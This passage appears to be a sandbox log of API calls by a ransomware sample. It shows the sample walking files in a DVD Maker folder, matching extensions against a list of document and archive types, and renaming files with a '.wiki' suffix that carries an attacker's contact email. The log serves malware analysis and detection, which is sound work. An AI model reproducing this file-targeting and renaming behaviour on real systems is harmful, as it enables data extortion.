[0150.136] lstrlenW (lpString=".bz2") returned 4 [0150.136] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0150.136] lstrlenW (lpString=".7z") returned 3 [0150.136] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0150.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.136] lstrlenW (lpString=".dbf") returned 4 [0150.136] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0150.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.136] lstrlenW (lpString=".1cd") returned 4 [0150.136] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0150.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.136] lstrlenW (lpString=".jpg") returned 4 [0150.137] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0150.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.137] lstrlenW (lpString=".doc") returned 4 [0150.137] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0150.137] lstrlenW (lpString=".docx") returned 5 [0150.137] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0150.137] lstrlenW (lpString=".pdf") returned 4 [0150.137] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0150.137] lstrlenW (lpString=".xls") returned 4 [0150.137] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0150.137] lstrlenW (lpString=".xlsx") returned 5 [0150.137] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0150.137] lstrlenW (lpString=".ppt") returned 4 [0150.137] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0150.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.137] lstrlenW (lpString=".zip") returned 4 [0150.137] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0150.137] lstrlenW (lpString=".rar") returned 4 [0150.137] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0150.137] lstrlenW (lpString=".bz2") returned 4 [0150.137] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0150.137] lstrlenW (lpString=".7z") returned 3 [0150.137] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0150.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.137] lstrlenW (lpString=".dbf") returned 4 [0150.137] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0150.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.137] lstrlenW (lpString=".1cd") returned 4 [0150.137] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0150.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.137] lstrlenW (lpString=".jpg") returned 4 [0150.137] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0150.138] lstrcmpiW (lpString1=".wmv", lpString2=".wiki") returned 1 [0150.138] lstrlenW (lpString="Notes_loop.wmv") returned 14 [0150.138] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0150.144] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=693292) returned 1 [0150.144] CloseHandle (hObject=0x320) returned 1 [0150.145] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv")) returned 0x20 [0150.145] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0150.145] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.145] lstrlenW (lpString=".doc") returned 4 [0150.145] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0150.145] lstrlenW (lpString=".docx") returned 5 [0150.145] lstrcmpiW (lpString1=".docx", lpString2="p.wmv") returned -1 [0150.145] lstrlenW (lpString=".pdf") returned 4 [0150.145] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0150.145] lstrlenW (lpString=".xls") returned 4 [0150.145] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0150.145] lstrlenW (lpString=".xlsx") returned 5 [0150.145] lstrcmpiW (lpString1=".xlsx", lpString2="p.wmv") returned -1 [0150.145] lstrlenW (lpString=".ppt") returned 4 [0150.145] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0150.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.145] lstrlenW (lpString=".zip") returned 4 [0150.145] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0150.145] lstrlenW (lpString=".rar") returned 4 [0150.145] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0150.145] lstrlenW (lpString=".bz2") returned 4 [0150.145] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0150.145] lstrlenW (lpString=".7z") returned 3 [0150.145] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0150.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.146] lstrlenW (lpString=".dbf") returned 4 [0150.146] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0150.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.146] lstrlenW (lpString=".1cd") returned 4 [0150.146] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0150.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.146] lstrlenW (lpString=".jpg") returned 4 [0150.146] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0150.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.146] lstrlenW (lpString=".doc") returned 4 [0150.146] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0150.146] lstrlenW (lpString=".docx") returned 5 [0150.146] lstrcmpiW (lpString1=".docx", lpString2="p.wmv") returned -1 [0150.146] lstrlenW (lpString=".pdf") returned 4 [0150.146] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0150.146] lstrlenW (lpString=".xls") returned 4 [0150.146] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0150.146] lstrlenW (lpString=".xlsx") returned 5 [0150.146] lstrcmpiW (lpString1=".xlsx", lpString2="p.wmv") returned -1 [0150.146] lstrlenW (lpString=".ppt") returned 4 [0150.146] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0150.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.146] lstrlenW (lpString=".zip") returned 4 [0150.146] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0150.146] lstrlenW (lpString=".rar") returned 4 [0150.146] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0150.146] lstrlenW (lpString=".bz2") returned 4 [0150.146] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0150.146] lstrlenW (lpString=".7z") returned 3 [0150.146] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0150.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.147] lstrlenW (lpString=".dbf") returned 4 [0150.147] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0150.147] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.147] lstrlenW (lpString=".1cd") returned 4 [0150.147] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0150.147] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0150.147] lstrlenW (lpString=".jpg") returned 4 [0150.147] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0150.147] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0150.147] lstrlenW (lpString="Perf_Scenes_Mask1.png") returned 21 [0150.147] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0150.147] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=6922) returned 1 [0150.147] CloseHandle (hObject=0x320) returned 1 [0150.147] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0150.147] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0150.148] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.148] lstrlenW (lpString=".doc") returned 4 [0150.148] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0150.148] lstrlenW (lpString=".docx") returned 5 [0150.148] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0150.148] lstrlenW (lpString=".pdf") returned 4 [0150.148] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0150.148] lstrlenW (lpString=".xls") returned 4 [0150.148] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0150.148] lstrlenW (lpString=".xlsx") returned 5 [0150.148] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0150.149] lstrlenW (lpString=".ppt") returned 4 [0150.149] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0150.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.149] lstrlenW (lpString=".zip") returned 4 [0150.149] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0150.149] lstrlenW (lpString=".rar") returned 4 [0150.149] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0150.149] lstrlenW (lpString=".bz2") returned 4 [0150.149] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0150.149] lstrlenW (lpString=".7z") returned 3 [0150.149] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0150.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.149] lstrlenW (lpString=".dbf") returned 4 [0150.149] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0150.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.149] lstrlenW (lpString=".1cd") returned 4 [0150.149] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0150.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.149] lstrlenW (lpString=".jpg") returned 4 [0150.149] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0150.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.149] lstrlenW (lpString=".doc") returned 4 [0150.149] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0150.149] lstrlenW (lpString=".docx") returned 5 [0150.149] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0150.149] lstrlenW (lpString=".pdf") returned 4 [0150.149] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0150.149] lstrlenW (lpString=".xls") returned 4 [0150.149] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0150.150] lstrlenW (lpString=".xlsx") returned 5 [0150.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0150.150] lstrlenW (lpString=".ppt") returned 4 [0150.150] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0150.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.150] lstrlenW (lpString=".zip") returned 4 [0150.150] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0150.150] lstrlenW (lpString=".rar") returned 4 [0150.150] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0150.150] lstrlenW (lpString=".bz2") returned 4 [0150.150] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0150.150] lstrlenW (lpString=".7z") returned 3 [0150.150] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0150.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.150] lstrlenW (lpString=".dbf") returned 4 [0150.150] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0150.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.150] lstrlenW (lpString=".1cd") returned 4 [0150.150] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0150.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0150.150] lstrlenW (lpString=".jpg") returned 4 [0150.150] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0150.150] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0150.151] lstrlenW (lpString="Perf_Scenes_Subpicture1.png") returned 27 [0150.151] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0150.151] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4959) returned 1 [0150.151] CloseHandle (hObject=0x320) returned 1 [0150.151] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0150.151] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0150.151] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.151] lstrlenW (lpString=".doc") returned 4 [0150.151] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0150.151] lstrlenW (lpString=".docx") returned 5 [0150.151] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0150.151] lstrlenW (lpString=".pdf") returned 4 [0150.151] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0150.151] lstrlenW (lpString=".xls") returned 4 [0150.151] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0150.151] lstrlenW (lpString=".xlsx") returned 5 [0150.152] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0150.152] lstrlenW (lpString=".ppt") returned 4 [0150.152] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0150.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.152] lstrlenW (lpString=".zip") returned 4 [0150.152] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0150.152] lstrlenW (lpString=".rar") returned 4 [0150.152] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0150.152] lstrlenW (lpString=".bz2") returned 4 [0150.152] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0150.152] lstrlenW (lpString=".7z") returned 3 [0150.152] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0150.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.152] lstrlenW (lpString=".dbf") returned 4 [0150.152] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0150.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.152] lstrlenW (lpString=".1cd") returned 4 [0150.152] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0150.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.152] lstrlenW (lpString=".jpg") returned 4 [0150.152] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0150.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.152] lstrlenW (lpString=".doc") returned 4 [0150.152] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0150.152] lstrlenW (lpString=".docx") returned 5 [0150.152] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0150.152] lstrlenW (lpString=".pdf") returned 4 [0150.152] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0150.152] lstrlenW (lpString=".xls") returned 4 [0150.152] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0150.152] lstrlenW (lpString=".xlsx") returned 5 [0150.153] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0150.153] lstrlenW (lpString=".ppt") returned 4 [0150.153] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0150.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.153] lstrlenW (lpString=".zip") returned 4 [0150.153] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0150.153] lstrlenW (lpString=".rar") returned 4 [0150.153] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0150.153] lstrlenW (lpString=".bz2") returned 4 [0150.153] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0150.153] lstrlenW (lpString=".7z") returned 3 [0150.153] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0150.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.153] lstrlenW (lpString=".dbf") returned 4 [0150.153] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0150.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.153] lstrlenW (lpString=".1cd") returned 4 [0150.153] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0150.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0150.153] lstrlenW (lpString=".jpg") returned 4 [0150.153] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0150.153] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0150.153] lstrlenW (lpString="PreviousMenuButtonIcon.png") returned 26 [0150.153] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0150.154] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4503) returned 1 [0150.154] CloseHandle (hObject=0x320) returned 1 [0150.154] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0150.154] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0150.154] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0150.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0150.154] lstrlenW (lpString=".doc") returned 4 [0150.154] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0150.154] lstrlenW (lpString=".docx") returned 5 [0150.154] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0150.154] lstrlenW (lpString=".pdf") returned 4 [0150.154] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0150.154] lstrlenW (lpString=".xls") returned 4 [0150.154] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0150.154] lstrlenW (lpString=".xlsx") returned 5 [0150.154] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0150.154] lstrlenW (lpString=".ppt") returned 4 [0150.154] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0150.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0150.173] lstrlenW (lpString=".zip") returned 4 [0150.173] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0150.173] lstrlenW (lpString=".rar") returned 4 [0150.173] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0150.173] lstrlenW (lpString=".bz2") returned 4 [0150.173] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0150.173] lstrlenW (lpString=".7z") returned 3 [0150.173] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0150.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0150.173] lstrlenW (lpString=".dbf") returned 4 [0150.173] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0150.176] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.176] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.248] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.248] MoveFileW 